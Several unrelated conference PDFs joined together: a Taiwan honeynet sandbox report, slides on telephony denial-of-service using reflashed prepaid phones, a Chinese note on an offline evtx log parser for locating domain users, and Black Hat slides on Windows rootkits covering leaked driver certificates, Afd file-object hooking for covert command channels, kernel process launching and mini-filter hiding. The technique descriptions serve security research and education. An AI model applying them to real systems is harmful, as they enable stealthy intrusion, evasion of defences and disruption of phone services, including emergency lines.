>> Summary report for 81ae20781a0fb227ad17952aec5c4493 created at Tue
Apr 20 19:02:44 CST 2010 <<
>> Host file changes - Host File 被修改處 <<
>> Registry Run Key changes - Registry Run Key 被修改處 <<
>> Registry Service Key changes - Registry Service Key 被修改處 <<
-WZCSVC|Wireless Zero Configuration|%SystemRoot%\System32\svchost.exe -k
netsvcs|Share_Process|Auto Start|TDI
+{33F3B709-064F-4FF7-95BD-434D50D67CCC}|||||
>> 網路連線記錄 <<
IP 192.168.0.110.57982 > 168.95.1.1.53: UDP, length 34
IP 168.95.1.1.53 > 192.168.0.110.57982: UDP, length 473
IP 192.168.0.110.123 > 207.46.197.32.123: UDP, length 48
IP 192.168.0.110.123 > 207.46.197.32.123: UDP, length 48
IP 192.168.0.110.1034 > 203.69.113.26.80: tcp 0
IP 192.168.0.110.1034 > 203.69.113.26.80: tcp 204
IP 203.69.113.26.80 > 192.168.0.110.1034: tcp 0
IP 203.69.113.26.80 > 192.168.0.110.1034: tcp 983
IP 192.168.0.110.1034 > 203.69.113.26.80: tcp 0
IP 192.168.0.110.1034 > 203.69.113.26.80: tcp 0
>> NPASCAN - 警政署惡意程式偵測工具 <<
-==<<警政署惡意程式偵測工具 NPASCAN v1.7 >>==-
Current User : TWMAN-SINGLE-01\Administrator
Current IP : 192.168.0.110
Start Time : 20 April 2010 18:51:23
------------------Start Scan-----------------------
掃瞄完成!!未偵測到相關惡意程式!
-------------------End Scan------------------------
>> CWSandBox VirusScan Report <<
VSCAN Version:3.2.1861.2 (Feb 22 2009 19:30:04);run at:: Apr 20 10:54:01 2010
defs version: 5444 (2009-10-12T17:47:12)
command line: c:\SBScanV3\vscan /l c:\virus.txt /def c:\SBDefsV3
C:\WINDOWS\system32\sandnet.exe
[ 15], No threat , , , ,C:\WINDOWS\system32\sandnet.exe
1 objects processed in 0 secs, 0 fps
0 threats detected, 0 suspicious files
>> Advanced Intrusion Detection Environment-檔案異動偵測 <<
Start timestamp: 2010-04-20 19:02:15
Summary:
Total number of files: 29933
Added files: 20
Removed files: 0
Changed files: 19
---------------------------------------------------
Added files:
---------------------------------------------------
added: /mnt/images/Documents and
Settings/Administrator/twman.cgi@res=startfauxserver.2
added: /mnt/images/Documents and Settings/Administrator/wget-log.5
added: /mnt/images/Documents and Settings/Administrator/wget-log.6
added: /mnt/images/System Volume Information/_restore{399113A8-6E6F-4DCA-
A398-D03564F81D09}/RP24/A0003606.ini
added: /mnt/images/System Volume Information/_restore{399113A8-6E6F-4DCA-
---------------------------------------------------
Changed files:
---------------------------------------------------
changed: /mnt/images/Documents and Settings/Administrator/Local
Settings/Temp/AdobeARM.log
changed: /mnt/images/Documents and Settings/Administrator/Local
Settings/Temp/jusched.log
changed: /mnt/images/System Volume Information/_restore{399113A8-6E6F-
4DCA-A398-D03564F81D09}/RP24/change.log
changed: /mnt/images/WINDOWS/Prefetch/NOTEPAD.EXE-336351A9.pf
changed: /mnt/images/WINDOWS/Prefetch/NPASCAN.EXE-1F4DCEFB.pf
changed: /mnt/images/WINDOWS/Prefetch/NTOSBOOT-B00DFAAD.pf
changed: /mnt/images/WINDOWS/system32/wbem/Logs/FrameWork.log
changed: /mnt/images/WINDOWS/system32/wbem/Logs/wbemcore.log
changed: /mnt/images/WINDOWS/system32/wbem/Logs/wbemess.log
changed: /mnt/images/WINDOWS/system32/wbem/Logs/wmiprov.log
---------------------------------------------------------
臺灣惡意程式分析網,抬丸郎 - 分析報告 2010-06-20 版
4.Virus Scan
1.MD5 Info
2.Config File Change
3.
Network
Connect
5.File Change
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Internet Services Simulation Suite (INetSim)
SANDNET
Infected Client
SANNET Server
IRC
DNS
FTP
WWW
Sandnet
27
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Taiwan Malware Analysis Net ( [email protected] )
Server
CentOS5.5
Client
Windows 7
Client
Vista
Client
Windows XP
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Malware and malware behavioral ontology can be solve
the problems.
It will be develop by Protégé API, OWL API, SWRL API
and FML.
TWMAN can integrate with a human thinking semantic
model.
[email protected]
Multi OS
Multi Clients
Green Computing
Cloud Computing
29
Conclusions and Future work
Honeynet Project Taiwan Chapter www.honeynet.org.tw
Q & A
30
[email protected]
事件通報
[email protected]
[email protected] | pdf |
EasyToUsePDDOS
:BurnerPhoneDDOS2Dollarsaday:70CallsaMin
WestonHeckerSecurityExpert
SystemsNetwork
Analyst/Penetrations
Tester/PresidentOfComputer
SecurityAssociationOf
NorthDakota
A1
Slide 1
A1
Author, 9/16/2013
WhoamIandwhatisthistalkabout?
• AboutMe:PenetrationTester,ComputerScience/Geophysics,TonsofCerts,Customexploits
writtenforPMSHotelSoftware,Twowayreservationfuzzing,andRFIDScannerthatmounts
underchair.
• About9yearsofpentesting,disasterrecovery,securityresearch
• NERC,FFIEC,ISO,GLBAandFDIC,ComplianceauditsHIPPA,Omnibus
• WrotecustomexploitsandscriptsforobscureInternetServiceProvidergear
• Toolsofthetrade“FleetofFakeiPhones”
• ThecreationofaPhoneCallBomberfromyourGrama’s prepaidphonetoasolarpowered
hackertoolhiddeninlightfixtureatapubliclibrary
• Screenshotdemonstrationof15phonestakingdowna200personcallcenter
• DistributedDenialofservicePhoneSystems“Whatitishowitsused”“HowitEffects
Businesses”
• Alternateusesoncephonehasbeenflashedintoattackplatform.
FleetofFakeiPhonesWithTeensy3.0
RFIDBadgeReader.
WhatisDDOSandTDoS? Howdotheydiffer?
• (DDoS)attack isanattempttomakeamachineor
networkresourceunavailabletoitsintendedusers.
Althoughthemeanstocarryout,motivesfor,and
targetsofaDoS attackmayvary,itgenerallyconsists
ofeffortstotemporarilyorindefinitelyinterruptor
suspendservicesofahostconnectedtotheInternet.
• TelephonyDenialofServiceorTDoS isafloodof
unwanted,maliciousinboundcalls.Thecallsare
usuallyintoacontactcenterorotherpartofan
enterprise,whichdependsheavilyonvoiceservice.
• DefinitionpulledfromWikipedia.com
InstancesofTDOS
• Bankfraud“CNP”Theft
• Banktransfermulescams
• UnintentionalfromspoofedscammerCID
• Callcenterattacks
• Politicallymotivatedactivism
CurrentMethodsofTDOS
CallerIDSpoofReflectionAttack
Malwareonphonesandcallmanagementsoftware
Scripttoloadcallerinformationontorealtorwebpage
HijackedPRIandSIPServicesWarDialing
CallerIDreflectionattack
Legitimatephoneservicewith
spoofedCallerIDinformation
Thousandsofcallsreturnedtothe
numberthattheybelievecalledthem
UsingsalesmentoTDOSforyou.
Pagewithgenerictemplates.
Inputfieldsautomaticallyfilledin.
Inputforscript,listofURLSand
informationoffofinputfield.
Listof4500+pagesthatareautopopulated
fromatextdumpfromrealtorkeywork
crawl.
WebCrawlingBots
76%ofRealtorWebpagesusethe
samescriptsdon’tusecaptchas
Scriptpoststo4600+realtorpages
in2hrs.
Botnetsofinfectedsmartphones
Justlikecomputerssmartphones
havebecomeaplatformforbotnets.
Increasein“rooted”phonesopens
doorstosecurityrisks.
HowIdevelopedaWeaponized OEM
cellphoneplatform
PrepaidCellPhonesRunningBrew3.1
OperatingSystemsCDMA1X800/1900MHz
DigitalOnlySamsungU365akaGusto2
QSC6055192MHzprocessor, Weaponized platform
WorksonallvaluetierQualcommQSC60XX.
Thedevelopereditionsofthesemodelssupportboot
loaderunlocking,allowingtheusertovoluntarily
voidthemanufacturerwarrantytoallowinstallation
ofcustomkernelsandsystemimagesnotsignedby
authorizedparties.However,theconsumereditions
shipwithalockedbootloader,preventingthese
typesofmodifications.Untilnow…
QSC6055192MHzprocessor.ComeswithSecure
Boot,SEE,SFS
Noapplicationprocessorveryeasy
securitytobypass.(Explained)
GreatEasyDevelopmentSoftware.
WritteninC/C++
BREWprovidestheabilitytocontrolvoicemailand
theactivationordeactivationofdevicesbyBREW
applications.Thiscapabilitywillbeprovidedby
defaultiftheUIisrunsontopofBREW. The
developerwillprovidethecapabilitytoprogram
valuesforthesetofBREWconfigurationparameters
usingtheProductSupportTool(PST).
ExploitInIRingerMgr allowsfor
interactionwithclamandspeaker
manipulationsuchaspickingup
callinsteadofplayingaringtone.
BREWprovidestheIRingerMgr
interfacethatallowsadeveloperto
integratetheirnativeringer
applicationwithBREW.ThisenablesBREW
applicationdeveloperstodownloadringersand
manageringersonthedevice.IRingerMgr allows
assigningofringersfromaBREWapplicationtobe
activeandutilizedforincomingcalls(particular
categories).
ClamtypephonesreferFlipphones.Onthese
devices,someApplications,multimedia
applicationsforexample,mayneedtoaltertheir
functionaluseofhardwareorservices.
Sotheringtonepayloadsareabletobypass
triggersandeventscausedbyphonehardware
providedbythedevicedependinguponevents
generatedbytheactionoftheuser.
SecondarydisplayFordevicessupportinga
secondarydisplay,thedisplaywillbemade
availabletoapplicationsrequiringdisplay
serviceswhentheclamisclosed.Sothephoneis
stillabletobefullyinteractedwithatno
additionalbatterycost.
Modifiedexecutableallowsforthesoftwaretobe
pushedtothedevicebypassingsecurityfeature
easilyusingaloopholewithinthecertificate
expirationprocess.
Thiserrorisexploitedbyrunningthe
modifiedexecutablewhiletheotherdevice
isinstalledwithavalidsigneddriver.
OncethedriverisupdatedonthePCthis
allowsfullattacksurfacesupport.
Driversanddeviceinformationare
supportedbyanowexpiredcertificate.
Certificateexpiredin2012whichallowed
metobypasssecurityfeaturesets.
Modifieddriverfilesallowmodifications
ofalldeviceinformation.
PRL(PreferredRoamingList)arepulledfromthe
deviceactivity.YoucansetjumptimeofthePRL
listandturnofforlocktheGPSpositionofthe
devicemakingitpracticallyuntraceable.
Youcandevelopapplicationsfortheattackplatform
byemulatingthesoftwareoncustomwrittenplatform
emulatorsprovidedforOEMdevelopers
FullplatformforemulationofU365device
Testingyourapplicationswithouthavingtoload
themonthedevice.Thiseffectivelymakesita
developmenthandsetattackplatform
Nowthatyouhaveyourownfully
unlockedplatform,whatnow…
OEMDevelopmentPlatform
Weaponized DevelopmentPlatform
Withattackplatformloadedonthephone
youhavefullcontrolofalldeviceson
thephoneincludingTDOS,Brickmode etc.
Settingupringtonesasyour
specificpayloads.
Settingringtoneswilltriggerthemalformed
ringtoneprocessesontheeventsthattriggerthem.
CheeseBox?
Callonephonenumber.Thecallispassedoffvia
Bluetoothtoasecondphone.Thesecondphonecalls
yourintendednumbercreatinganearlyuntraceable
phoneproxy.
Weaponized
Phonecallstargetnumber(s)
3timesinarowandrecordsanMP3toa
BluetoothconnectedPCthe3rd callthat
shouldgostraighttovoicemail.
FilescreatedwithBluetoothconnection
OutputofS2Textfiles
RunMP3throughspeechtotextopensourcesoftware
Phonescriptwillcallinandusethe
inputinformationfromthelistto
activatelineofservice.
ThisPrepaidCellPhoneCanDeny
LegitimatePhoneCallsfor5Days
Straight
• AnonymousPurchase
• 2DollarsDaysThatitisUsed
• UntraceableCanbeChargedWith
SolarUSBChargerPRLListHopping.
• Easilyhiddeninsidelightfixtureat
publiclyaccessiblefacility
• Totalinvestmentfora5dayTDOS
attackplatformis$20USDwith
SolarUSBcharger
PhoneBeingturnedintoCALLBOMBER
FirmwareandPRLBeingUpdated
PluggedintoLaptopandReflashed
inunder8min.
CrashingofcallsoftwarebyTDOS
Launchingof10phoneswith
weaponized platform
CPUandramutilizationcrashescall
centerVM
ScenariosofTDOS
•
Block911system
•
Alarmcompaniesforbreakins
•
Federalagenciesduringterroristattack
•
Storesduringholidayseasons
•
Anypersonororganizationthatisdisliked
ThanksForInvitingMeandForYourTime
AnyQuestionsFeelFreetoContactMe.
[email protected]
Westonhecker@twitter
PhoneNumber701…NeverMind
SpecialthankstoMyWifeandfamily
Thebigguyintheskyforacoolnameforcomputer
security
TimHelpwithschpelling onfinaleddit
BestFriendScott
HiMom | pdf |
这本来只是是我写的⼯具⾥⾯⼀个插件 后⾯那个⼯具bug太多就没有维护了,有⼀个需求就把这个插件摘出来改
了⼀下。
需求是拿到域内控制器的权限,但是要定位域内⽤户的ip,找了市⾯上的⼯具基本都是扔到域控上去执⾏,在域控
上执⾏难免会再产⽣额外的⽇志,如果脱⽇志回来的话⼤部分程序都不允许指定⽇志⽂件,所以写了这个简单的
⼯具脱⽇志回来本地解析⽇志,如果本地解析的话⽤LogParser⾸先参数太复杂,并且移植性相较差,并且这个⼩
插件还可以根据⾃⼰的需求环境进⾏简单的改动。
主要功能是解析evtx⽂件,调⽤的evtx的模块编写的,原有的evtx模块使⽤起来较为麻烦于是⾃⼰编写了那么⼀个
⼯具。⼀般使⽤场景如: 拿到预控时读取域内主机对应的ip、应急时获取⽬标⽇志信息、查询3389对外登陆⽇志等 ,
由于是读⽂件解析后再循环获取⽇志id,⽇志⽂件过⼤时可能会慢⼀点,所以需要稍微等待⼀会,之前的需求是默
认读取的4624⽇志,可以根据需求⾃⾏改动,可以将对⽅的⽇志⽂件脱回到本地或者是放在服务器上运⾏,在服
务器运⾏会默认读取 C:\Windows\System32\winevt\Logs\Security.evtx
使⽤⽅法: main.exe Security.evtx
注意 如果在win32 环境编译⽆法在64位环境下运⾏ 会提示没有此⽂件
参考:https://github.com/0xrawsec/golang-evtx | pdf |
Demystifying Modern
Windows Rootkits
Bill Demirkapi
Independent Security Researcher
1
Demystifying Modern Windows Rootkits – Black Hat USA 2020
Who Am I?
18 years old
Sophomore at the Rochester Institute of Technology
Windows Internals
Mostly self-taught (with guidance)
Strong “Game Hacking” background
2
Demystifying Modern Windows Rootkits – Black Hat USA 2020
What Is This Talk About?
In this talk, we’ll go over…
Loading a rootkit.
Communicating with a rootkit.
Abusing legitimate network communications.
An example rootkit I wrote and the design choices behind it.
Executing commands from kernel.
Tricks to cover up the filesystem trace of your rootkit.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
3
Introduction to
Windows Rootkits
Demystifying Modern Windows Rootkits – Black Hat USA 2020
4
Windows Rootkits: An Overview
Why would you want to use a rootkit?
Kernel drivers have significant access to the machine.
Same privilege level as a typical kernel anti-virus.
Less mitigations and security solutions targeting kernel malware.
Anti-Virus often have less visibility into operations performed by
kernel drivers.
Kernel drivers are often ignored by anti-virus.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
5
Example: Treatment by Anti-Virus
Anti-virus tends to treat kernel drivers with significant trust compared
to user-mode applications.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
6
Excerpt from Carbon Black’s Process/Thread Handle callbacks
Excerpt from Malwarebytes’ Process/Thread Handle callbacks
Loading a Rootkit
Demystifying Modern Windows Rootkits – Black Hat USA 2020
7
Abuse Legitimate Drivers
There are a lot of “vulnerable” drivers. With some reversing
knowledge, finding a “0-day” in a driver can be trivial.
Examples include…
Capcom’s Anti-Cheat driver
Intel’s NAL Driver
Microsoft themselves!
Demystifying Modern Windows Rootkits – Black Hat USA 2020
8
Abuse Legitimate Drivers
Using legitimate drivers has quite a few benefits too:
You only need a few primitives to escalate privilege.
Finding a “vulnerable” driver is relatively trivial (OEM Drivers ).
Difficult to detect due to compatibility reasons.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
9
Abuse Legitimate Drivers
Abusing legitimate drivers comes with some strong drawbacks too…
Major issue of compatibility across operating system versions
depending on the primitives you have.
Much more likely to run into stability issues.
The last thing you want is your malware to BSOD a victim.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
10
Just Buy a Certificate!
For some red teamers, buying a legitimate code signing certificate
might be a good option.
Useful for targeted attacks.
No stability concerns.
But…
Potentially reveals your identity.
Can be blacklisted.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
11
Abuse Leaked Certificates
Instead of buying a certificate yourself, why not just use one from
someone else?
There are quite a few public leaked certificates available to download.
Almost has all the benefits of buying one without deanonymization.
But…
The leaked certificate you use can be detected in the future.
If the certificate was issued after July 29th, 2015, it won’t work on
secure boot machines running certain versions of Windows 10.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
12
Abuse Leaked Certificates
In most cases, Windows doesn’t care if your driver has a certificate that
has expired or was revoked.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
13
Abuse Leaked Certificates
Several leaked certificates are already publicly posted, but it’s not
impossible to find your own.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
14
Abuse Leaked Certificates
Oh and the best part…. most of them are undetected by the bulk of AV:
Demystifying Modern Windows Rootkits – Black Hat USA 2020
15
Communicating with a Rootkit
Demystifying Modern Windows Rootkits – Black Hat USA 2020
16
Beacon Out to a C2
A tried and true method that comes with some downsides is to “call
home”.
Firewalls can block or flag outgoing requests to unknown/suspicious
IP Addresses or ports.
Advanced Network Inspection can catch some exfiltration techniques
that try to “blend in with the noise”.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
17
Open a Port
Some malware takes the route that the C2 connects to the victim
directly to control it.
Relatively simple to setup.
But…
Could be blocked off by a firewall.
Difficult to “blend in with the noise”.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
18
Application Specific Hooking
More advanced malware may opt to hook a specific application’s
communication as a channel of communication.
Difficult to detect, especially if using legitimate protocol.
But…
It’s not very flexible.
A machine might not have that service exposed.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
19
Choosing a Communication Method
What I want…
1. Limited detection vectors.
2. Flexibility for various environments.
My assumptions…
1. Victims machines will have some services exposed.
2. Inbound and outbound access may be monitored.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
20
Choosing a Communication Method
Application Specific Hooking was perfect for my needs, except for the
flexibility.
Is there anyway we could change Application Specific Hooking to where
it isn’t dependent on any single application?
Demystifying Modern Windows Rootkits – Black Hat USA 2020
21
Abusing Legitimate Communication
What if instead of hooking an application directly, we…
Hook network communication, similar to tools like Wireshark.
Place a special indicator in “malicious” packets, a “magic” constant.
Send these “malicious” packets to legitimate ports on the victim
machine.
Search packets for this “magic” constant to pass on data to our
malware.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
22
Hooking the User-Mode Network Stack
Demystifying Modern Windows Rootkits – Black Hat USA 2020
23
Hooking the Windows Winsock Driver
A significant amount of services on Windows can be found in user-
mode, how can we globally intercept this traffic?
Networking relating to WinSock is handled by Afd.sys, otherwise
known as the “Ancillary Function Driver for WinSock”.
Reversing a few functions in mswsock.dll revealed that a bulk of
the communication was done through IOCTLs. If we could intercept
these requests, we could snoop in on the data being received.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
24
How Do Irps Know Where to Go?
When you call NtDeviceIoControlFile on a file handle to a device,
how does the kernel determine what function to call?
Demystifying Modern Windows Rootkits – Black Hat USA 2020
25
Standard Methods of Intercepting Irps
There are a few ways we can intercept Irps, but let’s look at two
common methods.
1. Replace the Major Function you’d like to hook in the driver’s object.
2. Perform a code hook directly on the dispatch handler.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
26
Picking a method
To pick the best method of hooking, here are a few common questions
you should ask.
How many detection vectors are you potentially exposed to?
How "usable" is the method?
How expensive would it be to detect the method?
Demystifying Modern Windows Rootkits – Black Hat USA 2020
27
Hook a Driver Object
How many detection vectors are you potentially exposed to?
Memory artifacts.
How “usable” is the method?
For stability, by replacing a single function with an interlocked exchange, this
method should be stable.
For compatibility, driver objects are well-documented and easy to find.
How expensive would it be to detect the method?
Inexpensive, all anti-virus would need to do is enumerate loaded drivers and
check that the major functions are within the bounds of the driver.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
28
Hook a Driver’s Dispatch Function
How many detection vectors are you potentially exposed to?
Memory artifacts.
How “usable” is the method?
Unless the function is exported, you will need to find the function yourself.
Not all drivers are compatible with this method due to PatchGuard.
HVCI incompatible.
How expensive would it be to detect the method?
Potentially inexpensive and several methods to detect hooking.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
29
Hooking File Objects
I wanted a method that was…
Undocumented.
Stable.
Relatively expensive to detect.
What if instead of hooking the original driver object, we hooked the file
object instead?
Demystifying Modern Windows Rootkits – Black Hat USA 2020
30
How Do Irps Know Where to Go?
typedef struct _FILE_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
...
} FILE_OBJECT;
Demystifying Modern Windows Rootkits – Black Hat USA 2020
31
To retrieve the device associated with the Afd driver, the kernel calls
IoGetRelatedDeviceObject.
What’s stopping us from
overwriting this pointer?
Hooking File Objects
What we can do is…
1. Create our own device object and driver object.
2. Patch our copy of the driver object.
3. Replace the DeviceObject pointer of our file object with our own
device.
Let’s talk about how we would go about doing this.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
32
Hooking File Objects
Let’s start by finding a file object to hook. We’re after handles to
\Device\Afd, but how can we find these objects?
Demystifying Modern Windows Rootkits – Black Hat USA 2020
33
typedef enum _SYSTEM_INFORMATION_CLASS
{
...
SystemHandleInformation,
...
} SYSTEM_INFORMATION_CLASS,
*PSYSTEM_INFORMATION_CLASS;
Hooking File Objects
The SystemHandleInformation class allows us to query all handles
on the system, including…
The process ID the handle belongs to.
The kernel pointer of the object associated with the handle.
If we open the Afd device ourselves, we can easily recognize file objects
that are for the Afd device.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
34
Hooking File Objects
Before we can overwrite the DeviceObject member, we need to create
our fake objects first. Fortunately, the kernel exports the function it
uses itself to create these objects.
All we need to do is call ObCreateObject passing the
IoDriverObjectType or IoDeviceObjectType to create our fake
objects.
We can copy the existing objects over to contain the same member
values.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
35
Hooking File Objects
With our fake objects created, we’re almost ready to set the
DeviceObject of the file object. First though, we need to hook our
driver object.
We can use the standard “Hook a Driver Object” method, except
instead of performing it on the original driver object, we’ll use it on a
fake driver object used exclusively for our hooks.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
36
Hooking File Objects
To prevent race conditions while replacing the device object member,
the original device object we use inside of our hooked dispatch must be
set at the same time we the DeviceObject member of the file object.
To do this, simply perform an interlocked exchange of the original
device object and the device object our hook uses.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
37
Hooking File Objects
Now that we’ve hooked the file object, there is not much work left.
In our dispatch hook, we need to…
1. Check if we are hooking the MajorFunction being called.
1.
If we are, call the hook function passing the original device object and
original dispatch function for that MajorFunction.
2. Make sure to restore the original DeviceObject when the
MajorFunction is IRP_MJ_CLEANUP.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
38
Hooking File Objects
How many detection vectors are you potentially exposed to?
Memory artifacts.
How “usable” is the method?
Most of the functions we use are at least semi-documented and unlikely to
change significantly.
How expensive would it be to detect the method?
Expensive, an anti-virus would have to replicate our hooking process and
enumerate file objects to determine if the device/driver object was swapped.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
39
How the Spectre Rootkit Abuses the
User-Mode Network Stack
Demystifying Modern Windows Rootkits – Black Hat USA 2020
40
Abusing the Network
Using the File Object hook, we can now intercept Irps to the Afd driver.
This allows us to…
Intercept all user-mode networking traffic.
Send and receive our own data over any socket.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
41
Abusing the Network
To review, our existing plan is to…
Hook network communication, similar to tools like Wireshark.
Place a special indicator in “malicious” packets, a “magic” constant.
Send these “malicious” packets to legitimate ports on the victim
machine.
Search packets for this “magic” constant to pass on data to our
malware.
How can we actually retrieve the content of packets that are received?
Demystifying Modern Windows Rootkits – Black Hat USA 2020
42
Abusing the Network
For receive operations, an IOCTL with the code IOCTL_AFD_RECV is
sent to the Afd driver. Here is the structure sent in the input buffer.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
43
typedef struct
_AFD_RECV_INFO {
PAFD_WSABUF BufferArray;
ULONG BufferCount;
ULONG AfdFlags;
ULONG TdiFlags;
} AFD_RECV_INFO, * PAFD_RECV_INFO;
typedef struct _AFD_WSABUF {
UINT len;
PCHAR buf;
} AFD_WSABUF, * PAFD_WSABUF;
Parsing Packets: Design
Let’s talk about how the Spectre Rootkit was designed.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
44
Spectre Rootkit Packet Structure
Any prepended data
Magic Constant
Base Packet Structure
Optional Custom Structure
Any appended data
Parsing Packets: Pre-Processing
Here is the process used when the Spectre Rootkit receives a packet.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
45
Parsing Packets: Processing
Demystifying Modern Windows Rootkits – Black Hat USA 2020
46
Before dispatching a packet, we need to create a complete packet.
Packet Handlers
Before we go any further, let’s talk about the concept of “Packet
Handlers” in the Spectre Rootkit.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
47
Packet Handlers
An example of a packet handler included with the Spectre Rootkit is the
PingPacketHandler. This handler is used to determine if a
machine/port is infected.
The incoming packet has no actual data, other than indicating its Type
is a Ping. The handler responds to the client with an empty base
packet with the Type set to Ping.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
48
Parsing Packets: Dispatching
Once a packet is completely populated, the “packet dispatcher” will…
Here’s why the “packet dispatcher” is awesome: by passing a pointer to
itself to the relevant packet handler, that packet handler can recursively
dispatch a new packet!
Demystifying Modern Windows Rootkits – Black Hat USA 2020
49
Packet Handlers: XorPacketHandler
The best way to explain the recursive nature of the “packet dispatcher”
is through an example, such as the XorPacketHandler.
The XorPacketHandler takes a XOR_PACKET structure:
This XOR_PACKET does not actually perform a malicious operation.
Instead, it acts as an encapsulating packet.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
50
Packet Handlers: XorPacketHandler
When the XorPacketHandler receives a packet, it will…
1. Use the XorKey to deobfuscate the XorContent.
2. Recursively dispatch the XorContent as a new packet.
The model that the Spectre Rootkit uses allows you to create infinite
layers of encapsulation.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
51
Executing Commands
Let’s take a look at how we can execute commands from our rootkit, a
common feature seen in a variety of Windows malware.
Before we get into starting a process from a kernel driver, it’s important
to understand how we would execute commands from a user-mode
context.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
52
Executing Commands: User-mode
Demystifying Modern Windows Rootkits – Black Hat USA 2020
53
Executing Commands: Kernel-mode
Let’s start by creating the pipes we need to obtain output.
Here is what CreatePipe does in the background…
Demystifying Modern Windows Rootkits – Black Hat USA 2020
54
Executing Commands: Kernel-mode
Now that we have pipes, we need to create the actual process. We’ll
use ZwCreateUserProcess because that’s what kernelbase.dll
uses itself to create processes.
Let's start with the attribute list for the process.
The most important attribute we have to set is
PsAttributeImageName. This will specify the image file name for
the new process.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
55
Executing Commands: Kernel-mode
Next, we have to fill out a RTL_USER_PROCESS_PARAMETERS
structure for the process.
In this structure, we need to set…
1. The window flags and the output handles to our pipes.
2. The current directory, the command line arguments, the process
image path, and the default desktop name.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
56
Executing Commands: Kernel-mode
From there, all it takes is a call to ZwCreateUserProcess to start the
process.
Once the process has exited, similar to what we do in user-mode, we
can call ZwReadFile to read the output from the unnamed pipe.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
57
Hiding a Rootkit
Demystifying Modern Windows Rootkits – Black Hat USA 2020
58
Introduction to Mini-Filters
Mini-filter drivers allow you to attach to volumes and intercept certain
file I/O. This is performed by registering with the Filter Manager driver.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
59
Source: Microsoft Docs
Introduction to Mini-Filters
Mini-filters can be useful to mask the presence of our rootkit on the
filesystem.
For example, a mini-filter can direct all file access for a certain file to
another file. We can use this functionality to redirect access to our
driver file to another legitimate driver.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
60
Picking a method
To pick the best method of hooking, here are a few common questions
you should ask.
How many detection vectors are you potentially exposed to?
How "usable" is the method?
How expensive would it be to detect the method?
Demystifying Modern Windows Rootkits – Black Hat USA 2020
61
Become a Mini-Filter
The easiest way to abuse the functionality of a mini-filter is to become
one yourself. Here are the minimum requirements for
FltRegisterFilter:
1. Create [ServiceKey]\Instances
2. Create [ServiceKey]\Instances\[An instance name]
3. In [ServiceKey]\Instances add a “DefaultInstance” and set it to your
instance name used in step 2.
4. In [ServiceKey]\Instances\[An instance name], add the “Altitude”
and “Flags” values.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
62
Become a Mini-Filter
How many detection vectors are you potentially exposed to?
Registry and memory artifacts.
How “usable” is the method?
No concerns from stability or usability, this is how other legitimate drivers
register as mini-filters.
How expensive would it be to detect the method?
Inexpensive. Besides the registry artifacts, drivers that are registered as mini-
filters can easily be enumerated through API such as
FltEnumerateFilters.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
63
Hook a Mini-Filter
Another method is to simply hook an existing mini-filter. There are a
couple of routes you could take.
Code hook the callback for an existing filter.
Overwrite the FLT_REGISTRATION structure before the victim driver
uses it to have your own callback.
DKOM an existing filter instance and replace the original callback with
yours.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
64
Hook a Mini-Filter: Code Hook
One of the easiest way to intercept callbacks to an existing mini-filter is
to simply perform a code hook.
This can be as simple as a jmp hook, but it comes with quite a few
drawbacks, similar to those we saw in an earlier section where we
discussed intercepting Irps.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
65
Hook a Mini-Filter: Code Hook
How many detection vectors are you potentially exposed to?
Memory artifacts.
How “usable” is the method?
Unless the function is exported, you will need to find the function yourself.
Not all drivers are compatible with this method due to PatchGuard.
HVCI incompatible.
How expensive would it be to detect the method?
Potentially inexpensive and several methods to detect hooking.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
66
Hook a Mini-Filter: DKOM
A semi-documented method of hooking an existing mini-filter is
through DKOM.
You can enumerate filters and instances through the documented APIs
FltEnumerateFilters and FltEnumerateInstances.
The function that gets called for a certain operation is specified in the
CallbackNodes array in the FLT_INSTANCE structure.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
67
Hook a Mini-Filter: DKOM
The CallbackNodes array index is associated with the major
function you’re hooking.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
68
Hook a Mini-Filter: DKOM
How many detection vectors are you potentially exposed to?
Memory artifacts.
How “usable” is the method?
